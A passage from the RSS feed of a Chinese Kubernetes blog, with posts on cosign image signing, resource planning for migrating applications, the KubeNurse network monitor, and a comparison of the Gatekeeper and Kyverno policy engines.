      <pubDate>Fri, 26 Mar 2021 18:56:28 +0800</pubDate>
      <guid>/post/k8s-and-cvs-2016-2183/</guid>
      <description>&lt;p&gt;是的我又被安全团队抓到了，这次是 CVE-2016-2183 漏洞&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 环境中检查镜像签名的一种方法</title>
      <link>/post/that-is-my-image/</link>
      <pubDate>Sat, 20 Mar 2021 00:19:56 +0800</pubDate>
      <guid>/post/that-is-my-image/</guid>
      <description>

&lt;p&gt;Kubernetes 的供应链安全需求中，有一个重要的镜像签署和校验的环节，这个环节可以使用 &lt;a href=&#34;https://blog.fleeto.us/post/k8s-notary-and-opa/&#34; target=&#34;_blank&#34;&gt;OPA 结合 Notary&lt;/a&gt; 的方式来完成。最近 &lt;a href=&#34;https://training.linuxfoundation.cn/news/208&#34; target=&#34;_blank&#34;&gt;Linux基金会宣布免费 sigstore 签名服务，以确认软件的来源和真实性&lt;/a&gt;，在&lt;a href=&#34;https://sigstore.dev/&#34; target=&#34;_blank&#34;&gt;项目网站&lt;/a&gt;闲逛时，发现一个叫做 &lt;a href=&#34;https://github.com/sigstore/cosign&#34; target=&#34;_blank&#34;&gt;cosign&lt;/a&gt; 的子项目，这是个轻量级的选择，让我非常有兴趣，于是就有了本文。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;目前这个工具还没有提供二进制发布，需要克隆源代码，并使用 &lt;strong&gt;go 1.5&lt;/strong&gt; 进行构建，具体方法请参阅项目页面。简单说就是&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# git clone https://github.com/sigstore/cosign.git
...
# cd cosign
# go build -o cosign ./cmd/cosign
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个工具的最基础功能有三个，分别是生成密钥对、镜像签名和校验签名。&lt;/p&gt;

&lt;h2 id=&#34;生成密钥对&#34;&gt;生成密钥对&lt;/h2&gt;

&lt;p&gt;这个功能是很直白的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign generate-key-pair
Enter password for private key:
Enter again:
Private key written to cosign.key
Public key written to cosign.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行命令之后，输入密码，就会生成密钥对文件，私钥和公钥分别是 &lt;code&gt;consign.key&lt;/code&gt; 和 &lt;code&gt;cosign.pub&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;签名&#34;&gt;签名&lt;/h2&gt;

&lt;p&gt;可以使用前边生成的密钥对进行签名，例如我的工具镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign sign -key cosign.key dustise/sleep:v0.9.6
Enter password for private key:
Pushing signature to: index.docker.io/dustise/sleep:sha256-92dad62e00d08157a3921b7d7b568a247a8b24e8a067ad5dc20b210d7b1c2ad1.cosign
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;读者需要注意的一点是，这个功能是对&lt;strong&gt;仓库中镜像的哈希码&lt;/strong&gt;生效的，因此签署过程无需本地镜像的参与，cosign 会直接在镜像仓库中获取对应 tag 的 sha256 内容，签署之后生成一个 OCI 镜像推送到该镜像的原有仓库之中，例如前面为 &lt;code&gt;dustise/sleep:v0.9.6&lt;/code&gt; 进行签名，就生成了一个 &lt;code&gt;dustise/sleep:sha256-92da.....1c2ad1.cosign&lt;/code&gt; 的镜像。如果被签名镜像在本地不存在，在完成操作之后，使用 &lt;code&gt;docker images&lt;/code&gt; 命令查看，会发现被签署镜像和签署生成的镜像都不存在于本地。&lt;/p&gt;

&lt;p&gt;另外一个就是，因为这里有 Push 操作，因此这个签署过程通常是有登录镜像库的需求的。&lt;/p&gt;

&lt;h2 id=&#34;校验&#34;&gt;校验&lt;/h2&gt;

&lt;p&gt;校验过程很简单，使用 &lt;code&gt;verify&lt;/code&gt; 指令，指定公钥即可，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign verify  -key cosign.pub dustise/sleep:v0.9.6
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
  - Any certificates were verified against the Fulcio roots.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;注意&#34;&gt;注意&lt;/h2&gt;

&lt;p&gt;如果使用 cosign 来进行签署，过程基本上来说还算是愉快的，私钥放置在 CI 之中，而公钥则可以保存在集群里，简单一点的方式，使用客户端定期扫描；复杂的方式，可以实现一个简单的 admission controller 来根据 Selector 对负载进行校验，同样需要注意的是，cosign 只针对远程（镜像库）进行操作，对本地的同 Tag 替换是没什么防御力的，因此这里还要使用 Always Pull 的策略进行弥补（可以使用 Kyverno 或者 Gatekeeper 来强制实施）。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 上运行“别人的”应用</title>
      <link>/post/prepare-k8s-cluster-for-app/</link>
      <pubDate>Fri, 19 Mar 2021 11:12:29 +0800</pubDate>
      <guid>/post/prepare-k8s-cluster-for-app/</guid>
      <description>

&lt;p&gt;在帮助企业进行基于私有环境的云原生转型的过程中，帮客户把存量应用迁移到 Kubenrnetes 上，是个常规任务。通常说来，在解决了初步的技术可行性之后，接下来要解决的就是资源分配的问题，我们已经讨论过，在近乎同样的资源总量情况下，&lt;a href=&#34;https://blog.fleeto.us/post/someting-about-cluster-size/&#34; target=&#34;_blank&#34;&gt;少量大节点构成的集群和大量小节点构成的集群的一些差异&lt;/a&gt;，然而这里还是缺少一个完整的方法——如何把现有应用的需求转换为资源设计呢？&lt;/p&gt;

&lt;h2 id=&#34;调研&#34;&gt;调研&lt;/h2&gt;

&lt;p&gt;要为应用分配资源，首先要明确资源所包含的项目，除了显而易见的 CPU 和内存之外，往往还会包含一些因地制宜的项目，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;每节点 Pod 数量上限：例如 Kubernetes 缺省限制为 110，而在新面世的 AutoPilot 中，缺省上限就只有 32 个了。&lt;/li&gt;
&lt;li&gt;Pod IP：有些环境中，Pod 会具有神奇的直通 IP，这些 IP 通常是用 IP 池的方式进行管理的，这也是一个受限资源。&lt;/li&gt;
&lt;li&gt;GPU：GPU 这种高价资源，自然是受限的，并且不同驱动方式的用法也有不同，例如 TKEStack 的 &lt;a href=&#34;https://github.com/tkestack/gpu-manager&#34; target=&#34;_blank&#34;&gt;GPU Manager&lt;/a&gt; 能够用千分之一为单位进行分配。&lt;/li&gt;
&lt;li&gt;存储：原本运行在虚拟机上的应用可能会使用一定量的存储，在这里需要对其用法进行正确的区分，按需转换为使用临时存储、本地存储、分布式（块/文件）存储。&lt;/li&gt;
&lt;li&gt;对集群外提供的服务：所需的域名和转换规则等。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在把各种资源分门别类都罗列清楚之后，就可以给业主方设计一份应用资源问卷了，其中应包含如下要素：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;工作负载类型：普通服务应用、批处理、定时任务等。&lt;/li&gt;
&lt;li&gt;资源需求：应用属主需填写自己每个应用下，每个组件的的副本数量、资源用量上下限；如果存在 HPA 需求，应该了解伸缩的上下限。&lt;/li&gt;
&lt;li&gt;权限需求：对于内核能力、root 用户等的特殊要求，如无要求，通常设置为非 root 访问的非特权模式。&lt;/li&gt;
&lt;li&gt;注明对内对外的依赖关系：用于后续的网络策略设计。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;这里对资源需求部分还有一个需要注意的点就是 Sidecar 以及一些“隐藏”进程，例如监控 Agent 等，这些东西同样会占用系统资源，有时用量还比较大，并且这些进程是随着应用组件实例进行伸缩的，因此其资源需求应该并入到所在的主要进程。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;实践过程中，这个步骤会占用相当多的时间，在独占虚拟机/物理机运行时，很多业务方其实并不清楚应用的具体资源需求，是否能够构建镜像、是否能够在 Kubernetes 中运行也都是未知数，因此在调研过程中可能需要进行更多的沟通和培训工作。关于应用自身对 Kubernetes 的适应性，我通常会有几个简单的问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;能够多副本运行么？&lt;/li&gt;
&lt;li&gt;需要用 Root 身份启动么？&lt;/li&gt;
&lt;li&gt;能够随意重启么？&lt;/li&gt;
&lt;li&gt;能够自动水平扩容么？&lt;/li&gt;
&lt;li&gt;重新部署的标准步骤是怎样的？&lt;/li&gt;
&lt;li&gt;日志和临时存储的用法和用量？&lt;/li&gt;
&lt;li&gt;镜像尺寸。&lt;/li&gt;
&lt;li&gt;更新频率和方法。&lt;/li&gt;
&lt;li&gt;健康和存活检测的方法。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些问题本身的答案并不重要，重要的是能够提醒对方，对于自身应用行为应该有一个深入且诚实的了解。&lt;/p&gt;

&lt;h2 id=&#34;规划&#34;&gt;规划&lt;/h2&gt;

&lt;p&gt;在得到调研结果之后，就可以据此进行设计了。除了调研结果中的几个变量之外，Kubernetes 的实施过程中还包含些隐含的约束条件，这些约束条件一方面限制了对于集群的设计规模，另一方面也能够辅助我们对集群进行资源配置。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;节点数量：通常我们会使用 3 Master 的结构设计集群，如果 3 个控制节点如果只有 2 个计算节点，可能会显得非常古怪，因此通常计算节点都应该数倍于管理节点的数量。&lt;/li&gt;
&lt;li&gt;Pod 数量：一个生产环境中的计算节点，即使在空载环境下，也会运行一些系统需要的 Daemonset，例如常见的 kube-proxy、node-exporter，所以在一个计算节点上的业务容器数量和资源，至少也不应该少于这些常驻 Pod 的数量。&lt;/li&gt;
&lt;li&gt;资源冗余：节点容量通常应该是总量-系统占用-保留量，分配到每个节点上容器（包括业务、系统）的资源 Request 和 Limit 总和，不应超出节点容量。&lt;/li&gt;
&lt;li&gt;空余节点：部署应用后，集群所有容器容量上限和集群业务节点总容量的差，最少应该大于集群中的最大计算节点的容量，以此保证在遭遇节点故障时可以有一个基本的容错能力。&lt;/li&gt;
&lt;li&gt;服务疏散：一般来说，我们会建议多副本服务平均分散在多个节点之中，因此节点数量不应少于任何服务的副本数量。&lt;/li&gt;
&lt;li&gt;节点疏散：在使用虚拟机作为节点时时，建议分布到不同的物理机上，避免因为物理节点故障导致大范围容器节点问题。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在有了这一系列的文档之后，基本上是可以设计出来一个有理有据的合适规模的集群的。&lt;/p&gt;

&lt;h2 id=&#34;实施和反馈&#34;&gt;实施和反馈&lt;/h2&gt;

&lt;p&gt;在应用成功在集群上试运行成功之后，应该有一段重点观察期，我们可以用 Prometheus 对新晋应用进行监控，有几个指标需要重点关注：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;容器的重启动次数：应用的最基本存活状况，如果应用发生频繁重启，应该进行有针对性的分析。&lt;/li&gt;
&lt;li&gt;应用运行时，各项资源消耗的平均值、中位数、最大值等，将其和应用申请资源的最小和最大值进行比较，以此评估应用的实际资源需求并作出整改。&lt;/li&gt;
&lt;li&gt;集群总体资源的消耗和空闲量，以此来评估节点的总体资源使用情况。&lt;/li&gt;
&lt;li&gt;存储占用量的监控：防止因为存储溢出造成意外损失。&lt;/li&gt;
&lt;li&gt;工作副本设计数和实际数的差：不为 0 的情况需要针对性调查。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;这里提到的内容都是非常基础的内容，针对的也是基础的业务应用容器化转型工作。相信在实际工作中，还会有更多的资源考量、监控指标以及非功能性限制加入到这个设计过程中，帮助读者更好地进行集群规模的设计。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：KubeNurse——集群网络监控</title>
      <link>/post/cn-toolkit-kubenurse/</link>
      <pubDate>Mon, 01 Mar 2021 15:57:30 +0800</pubDate>
      <guid>/post/cn-toolkit-kubenurse/</guid>
      <description>

&lt;h2 id=&#34;地址&#34;&gt;地址&lt;/h2&gt;

&lt;p&gt;Kubenurse：&lt;code&gt;https://github.com/postfinance/kubenurse&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 集群运行中，一个常见故障就是集群内网络故障，经常会因为临时策略变更或者网络抖动导致一些古怪问题，而实际场景里的虚拟机和网络的监控经常是由其它部门管理的，如果从业务和 Kubernetes 这样的上层设施着手，可能需要一些时间才能解决问题。&lt;code&gt;kubenurse&lt;/code&gt; 项目使用 HTTP 检测的方式提供了常用的几个监控指标。&lt;/p&gt;

&lt;p&gt;这个工具的实现也很直接，用 Daemonset 的形式部署在每个集群节点上，每个 Pod 都会通过 HTTP 检测的方式对上述几种目标分别进行访问，最后用 Prometheus Summary 指标的形式暴露出来用于监控。检测机制如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/nurse.png&#34; alt=&#34;nurse&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每个 Pod 都开放了 8080 的 http 端口，包含以下端点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; 或者 &lt;code&gt;/alive&lt;/code&gt;：返回本节点信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/alwayshappy&lt;/code&gt;：返回 HTTP 200 用于心跳&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/metrics&lt;/code&gt;：暴露 Prometheus 指标数据&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;/alive&lt;/code&gt; 返回的节点信息如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;api_server_direct&amp;quot;: &amp;quot;ok&amp;quot;,
  &amp;quot;api_server_dns&amp;quot;: &amp;quot;ok&amp;quot;,
  &amp;quot;me_ingress&amp;quot;: &amp;quot;ok&amp;quot;,
  &amp;quot;me_service&amp;quot;: &amp;quot;ok&amp;quot;,
  &amp;quot;hostname&amp;quot;: &amp;quot;kubenurse-1234-x2bwx&amp;quot;,
  &amp;quot;neighbourhood_state&amp;quot;: &amp;quot;ok&amp;quot;,
  &amp;quot;neighbourhood&amp;quot;: [
   {
    &amp;quot;PodName&amp;quot;: &amp;quot;kubenurse-1234-8fh2x&amp;quot;,
    &amp;quot;PodIP&amp;quot;: &amp;quot;10.10.10.67&amp;quot;,
    &amp;quot;HostIP&amp;quot;: &amp;quot;10.12.12.66&amp;quot;,
    &amp;quot;NodeName&amp;quot;: &amp;quot;k8s-66.example.com&amp;quot;,
    &amp;quot;Phase&amp;quot;: &amp;quot;Running&amp;quot;
   },
   {
    &amp;quot;PodName&amp;quot;: &amp;quot;kubenurse-1234-ffjbs&amp;quot;,
    &amp;quot;PodIP&amp;quot;: &amp;quot;10.10.10.138&amp;quot;,
    &amp;quot;HostIP&amp;quot;: &amp;quot;10.12.12.89&amp;quot;,
    &amp;quot;NodeName&amp;quot;: &amp;quot;k8s-89.example.com&amp;quot;,
    &amp;quot;Phase&amp;quot;: &amp;quot;Running&amp;quot;
   }
  ],
  &amp;quot;headers&amp;quot;: {
   &amp;quot;Accept&amp;quot;: [
    &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8&amp;quot;
   ],
   &amp;quot;Accept-Encoding&amp;quot;: [
    &amp;quot;gzip, deflate, br&amp;quot;
   ],
   ...
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，其中包含了上述所说的几个检测结果。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;源码中包含了一个 &lt;code&gt;example&lt;/code&gt; 目录，简单地 &lt;code&gt;kubectl apply&lt;/code&gt; 就可以完成部署，这里有两个可能需要修改的地方：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;缺省命名空间是 &lt;code&gt;kube-system&lt;/code&gt;，建议查找替换，并要注意调整 RBAC 授权。&lt;/li&gt;
&lt;li&gt;涉及 Ingress 检测，因此要注意提供正确的域名。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;监控&#34;&gt;监控&lt;/h2&gt;

&lt;p&gt;部署成功之后，Prometheus 会根据 Daemonset 中的注解采集数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
      annotations:
        prometheus.io/path: &amp;quot;/metrics&amp;quot;
        prometheus.io/port: &amp;quot;8080&amp;quot;
        prometheus.io/scheme: &amp;quot;http&amp;quot;
        prometheus.io/scrape: &amp;quot;true&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;访问任意 Pod 的 &lt;code&gt;:8080/metrics&lt;/code&gt; 端点，会看到如下指标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kubenurse_errors&lt;/code&gt;：如果检测过程中出现错误，这个计数器会进行累加。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubenurse_request&lt;/code&gt;：一个 Summary 类型的指标，正常检测结果的时间消耗分布。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两个指标使用 &lt;code&gt;type&lt;/code&gt; 标签对结果进行标识，对应几种不同的检测目标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;api_server_direct&lt;/code&gt;：从节点直接检测 API Server&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_server_dns&lt;/code&gt;：从节点通过 DNS 检测 API Server&lt;/li&gt;
&lt;li&gt;&lt;code&gt;me_ingress&lt;/code&gt;：通过 Ingress 检测本服务 Service&lt;/li&gt;
&lt;li&gt;&lt;code&gt;me_service&lt;/code&gt;：使用 Service 检测本服务 Service&lt;/li&gt;
&lt;li&gt;&lt;code&gt;path_$KUBELET_HOSTNAME&lt;/code&gt;：节点之间的互相检测&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如此一来，我们就可以根据各种延迟时间的分布情况，以及返回错误的数量来确认集群网络状况了。&lt;/p&gt;

&lt;h2 id=&#34;注意&#34;&gt;注意&lt;/h2&gt;

&lt;p&gt;节点较多时，每次采集可能会产生 &lt;code&gt;n*(n-1)&lt;/code&gt; 次访问，会造成较重负载，可以给 Pod 打标签，并使用标签过滤的方式来减少请求，但是这样一来，就会导致检测结果不够全面的问题，因此还需对实际应用进行权衡。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 策略引擎对比：OPA/Gatekeeper vs Kyverno</title>
      <link>/post/k8s-policy-comparison/</link>
      <pubDate>Tue, 23 Feb 2021 16:57:55 +0800</pubDate>
      <guid>/post/k8s-policy-comparison/</guid>
      <description>

&lt;p&gt;Kubernetes 的 &lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&#34; target=&#34;_blank&#34;&gt;Pod Security Policy（PSP）&lt;/a&gt;即将被&lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/97171&#34; target=&#34;_blank&#34;&gt;淘汰和移除&lt;/a&gt;，所以需要找到一个替代方案来填补这个即将出现的空白。目前看来，Kubernetes 自身并没有准备相应的替代方案，因此需要在 Kubernetes 之外寻求解决之道。CNCF 的两个头部项目可能会成为首选的替代产品，它们分别是基于 &lt;a href=&#34;https://www.openpolicyagent.org/&#34; target=&#34;_blank&#34;&gt;Open Policy Agent（OPA）&lt;/a&gt;的 &lt;a href=&#34;https://github.com/open-policy-agent/gatekeeper&#34; target=&#34;_blank&#34;&gt;Gatekeeper&lt;/a&gt; 以及 &lt;a href=&#34;https://kyverno.io/&#34; target=&#34;_blank&#34;&gt;Kyverno&lt;/a&gt;，两个产品各行有千秋，但是目前还没有对这两个产品进行过正式的比较，这就让面临选择的用户无从下手了。这两个项目都是全功能的 Kubernetes 策略引擎，因此其功能不仅限于替代 PSP。本文尝试对 Gatekeeper 和 Kyverno 进行一个中立客观的比较，让用户能够据此作出决策。这里仅从 Kubernetes 的视角来对这两个项目来进行评价。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;因为本文仅仅涉及 Kubernetes，因此对后续对 OPA/Gatekeeper 项目会简称为 Gatekeeper。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;为了透明起见，我想公开说明我个人的立场。我是 Kyverno 而不是 GateKeeper 的撰稿人。我在 Kyverno 上写过几篇博客，在 Gatekeeper 上则没有。我过去还曾对 OPA Rego 提出过一些批评。然而，我的目标是把所有这些和任何个人感情放在一边，并试图以全新的方式来对待这两个项目，没有任何偏见和偏爱。&lt;/p&gt;

&lt;p&gt;在和 Kyverno 和 OPA 两个社区进行平等地沟通，让双方的管理者和贡献者公平地对比较标准和结果进行评论。在参与比较、评论等方面均没有偏向任何项目。&lt;/p&gt;

&lt;h2 id=&#34;导言&#34;&gt;导言&lt;/h2&gt;

&lt;h3 id=&#34;kubernetes-策略是什么&#34;&gt;Kubernetes 策略是什么&lt;/h3&gt;

&lt;p&gt;Kubernetes 的 Pod Security Policy，正如其名字所暗示的，仅是针对 Pod 工作的，是一种用来验证和控制 Pod 及其属性的机制。另外 PSP 只能屏蔽非法 Pod 的创建，无法执行任何补救/纠正措施。而 Gatekeeper 和 Kyverno 的作用范围就不是局限在 Pod 上，并且也有更多更深入的功能，而不只是简单的验证功能。策略引擎是一种能对整个 Kubernetes 环境进行全局控制的方法。&lt;/p&gt;

&lt;h3 id=&#34;gatekeeper-简介&#34;&gt;Gatekeeper 简介&lt;/h3&gt;

&lt;p&gt;Gatekeeper 是一个由 Google、微软等多个公司合作推出的开源项目，后来捐赠给了 CNCF。现已经历了三次迭代。Gatekeeper 是通用策略引擎 Open Policy Agent（OPA）的 Kubernetes 专用实现。由于 Open Policy Agent 与 Gatekeeper 之间的关系，该项目经常被写成“OPA Gatekeeper”来表明这层关系。Gatekeeper 实现了请求验证功能，最近还加入了变异能力。OPA 的一个主要特征是依赖于使用一种叫做 Rego 的专用编程语言，这种语言被用来实现策略决策的必要逻辑。通过 Rego，OPA 能够广泛适用于包括 Kubernetes 在内的多种不同的软件，实现高层次的逻辑操作。&lt;/p&gt;

&lt;h3 id=&#34;kyverno-简介&#34;&gt;Kyverno 简介&lt;/h3&gt;

&lt;p&gt;Kyverno 是来自 Nirmata 的开源项目，后来也捐赠给了 CNCF。和 Gatekeeper一样，Kyverno 也是一个具有验证和变异能力的 Kubernetes 策略引擎，但是它还有生成资源的功能，最近还加入了 API 对象查询的能力。与 Gatekeeper 不同，Kyverno 原本就是为 Kubernetes 编写的。和 Gatekeeper 相比，Kyverno 除了对象生成功能之外，还无需专用语言即可编写策略，从实现语言的角度上来看，Kyverno 的模型更为简洁。&lt;/p&gt;

&lt;h2 id=&#34;对比&#34;&gt;对比&lt;/h2&gt;

&lt;p&gt;下面的三个表格对两个项目的特征和质量进行分类，并试图以最客观的方式进行对比。这些维度分别是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;特征/功能维度用于描述技术属性；&lt;/li&gt;
&lt;li&gt;社区/生态系统维度用于描述落地情况和组织属性；&lt;/li&gt;
&lt;li&gt;杂项。&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特征/功能&lt;/th&gt;
&lt;th&gt;Gatekeeper&lt;/th&gt;
&lt;th&gt;Kyverno&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;验证&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;变异&lt;/td&gt;
&lt;td&gt;✅（Alpha）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;生成&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;原生策略对象&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;监控指标&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;OpenAPI 验证（&lt;code&gt;kubectl explain&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;高可用&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;API 对象查询&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅（Alpha）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;具备测试能力的 CLI 工具&lt;/td&gt;
&lt;td&gt;✅ 独立的客户端&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;策略审计&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;社区/生态系统&lt;/th&gt;
&lt;th&gt;Gatekeeper&lt;/th&gt;
&lt;th&gt;Kyverno&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CNCF 状态&lt;/td&gt;
&lt;td&gt;毕业（OPA）&lt;/td&gt;
&lt;td&gt;沙箱&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;合作伙伴生态系统采用（注 1）&lt;/td&gt;
&lt;td&gt;◗&lt;/td&gt;
&lt;td&gt;◔&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Github 状态（星，分叉、版本、提交）&lt;/td&gt;
&lt;td&gt;1,543, 280, 38, 510&lt;/td&gt;
&lt;td&gt;702, 72, 60, 3,034&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;社区认同（注 1）&lt;/td&gt;
&lt;td&gt;◗&lt;/td&gt;
&lt;td&gt;◔&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;策略样本库&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;p&gt;注 1：无精确定义，Gatekeeper 看起来比 Kyverno 采用数量更多，但是并没有具体数字。
注 2：无客观标准，Gatekeeper 历史更长，社区认可度可能更高。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;杂项&lt;/th&gt;
&lt;th&gt;Gatekeeper&lt;/th&gt;
&lt;th&gt;Kyverno&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;需要编程&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;可以在 Kubernetes 之外工作&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;诞生时间&lt;/td&gt;
&lt;td&gt;2017 年 7 月&lt;/td&gt;
&lt;td&gt;2019 年 5 月&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;创始公司&lt;/td&gt;
&lt;td&gt;Styra（OPA）&lt;/td&gt;
&lt;td&gt;Nirmata&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;文档成熟度&lt;/td&gt;
&lt;td&gt;◗（注 1）&lt;/td&gt;
&lt;td&gt;◕&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;p&gt;注 1：并没有统一的评判标准。这里的评价基于 Gatekeeper 的功能，而不是 Rego。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;分析&#34;&gt;分析&lt;/h2&gt;

&lt;p&gt;根据前面的功能对比，我做了一个简单的归纳，列出两个产品的优劣，这里只写出了标题内容，并不够详尽。&lt;/p&gt;

&lt;h3 id=&#34;gatekeeper-的优势&#34;&gt;Gatekeeper 的优势&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;能够表达非常复杂的策略；&lt;/li&gt;
&lt;li&gt;社区更为成熟；&lt;/li&gt;
&lt;li&gt;支持多副本模式，更好的可用性和伸缩性。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;gatekeeper-的劣势&#34;&gt;Gatekeeper 的劣势&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;需要编程语言支持，该语言的学习曲线较为陡峭，可能会产生大量技术债，并延长交付时间；&lt;/li&gt;
&lt;li&gt;变异能力还处在萌芽期；&lt;/li&gt;
&lt;li&gt;没有生成能力，意味着它的主要应用场景就在验证方面；&lt;/li&gt;
&lt;li&gt;策略复杂冗长，需要多个对象协同实现。&lt;/li&gt;
&lt;/ul&gt;

